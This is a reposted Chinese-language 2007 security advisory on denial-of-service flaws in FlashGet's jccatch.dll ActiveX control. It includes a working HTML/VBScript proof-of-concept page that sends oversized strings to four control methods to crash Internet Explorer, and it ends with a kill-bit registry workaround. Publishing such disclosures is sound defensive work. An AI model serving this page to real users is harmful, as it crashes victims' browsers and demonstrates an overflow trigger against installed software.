FlashGet jccatch.dll ActiveX控件多个拒绝服务漏洞

翻译|其它|编辑:郝浩|2007-10-22 09:56:47.000|阅读 1059 次

概述:

# 界面/图表报表/文档/IDE等千款热门软控件火热销售中 >>

Submitted by 7jdg on 2007, October 20, 3:00 PM. 溢出

受影响的系统
 FlashGet 1.9.6.1073
 
 描述:
 
FlashGet-全球最多人使用的下载工具。可支持多种资源格式。
IE 浏览器在以畸形参数调用 FlashGet 的 jccatch.dll ActiveX 控件时存在漏洞,恶意网站可能利用此漏洞导致用户浏览器崩溃。
如果用户受骗打开了恶意的 WEB 页面的话,就会触发这个漏洞,导致浏览器崩溃。

测试方法

XML/HTML 代码
  1. -----------------------------------------------------------------------------<br>  
  2.  FlashGet jccatch.dll multiple methods Denial of Service<br>  
  3.  site: http://1v1.name<br>  
  4.  Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6<br>  
  5. -----------------------------------------------------------------------------<br>  
  6. <object classid='clsid:FB5DA724-162B-11D3-8B9B-AA70B4B0B524' id='FlashGet'></object>  
  7. <select name="Pucca">  
  8.   <option value = "AddUrl">AddUrl</option>  
  9.   <option value = "AddFgUrl">AddFgUrl</option>  
  10.   <option value = "IsUrlExist">IsUrlExist</option>  
  11.   <option value = "Initialize">Initialize</option>  
  12. </select>  
  13. <input language=VBScript onclick=tryMe() type=button value="测试">  
  14. <script language='vbscript'>  
  15.  Sub tryMe   
  16.   on error resume next   
  17.    if Pucca.value="AddUrl" then   
  18.      argCount   = 3  
  19.      arg1="defaultV"  
  20.      arg2="defaultV"  
  21.      arg3=String(1000000, "A")   
  22.      FlashGet.AddUrl arg1 ,arg2 ,arg3   
  23.    elseif Pucca.value="AddFgUrl" then   
  24.      argCount   = 3  
  25.      arg1="defaultV"  
  26.      arg2="defaultV"  
  27.      arg3=String(1000000, "A")   
  28.      FlashGet.AddFgUrl arg1 ,arg2 ,arg3   
  29.    elseif Pucca.value="IsUrlExist" then   
  30.      argCount   = 1  
  31.      arg1=String(1000000, "A")   
  32.      FlashGet.IsUrlExist arg1   
  33.    elseif Pucca.value = "Initialize" then   
  34.      argCount = 2  
  35.      arg1="defaultV"  
  36.      arg2=String(1000000, "A")   
  37.      FlashGet.Initialize arg1 ,arg2    
  38.    end if   
  39.  End Sub   
  40. </script>  

临时解决方法:

在 IE 中禁用 FlashGet jccatch.dll ActiveX 控件,为以下 CLSID 设置 kill bit:
{FB5DA724-162B-11D3-8B9B-AA70B4B0B524}

或将以下文本保存为.REG 文件并导入:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{FB5DA724-162B-11D3-8B9B-AA70B4B0B524}]
"Compatibility Flags"=dword:00000400 


标签:

本站文章除注明转载外,均为本站原创或翻译。欢迎任何形式的转载,但请务必注明出处、不得修改原文相关链接,如果存在内容上的异议请邮件反馈至chenjj@evget.com

文章转载自:csdn

为你推荐

  • 推荐视频
  • 推荐活动
  • 推荐产品
  • 推荐文章
  • 慧都慧问
扫码咨询


添加微信 立即咨询

电话咨询

客服热线
023-68661681

TOP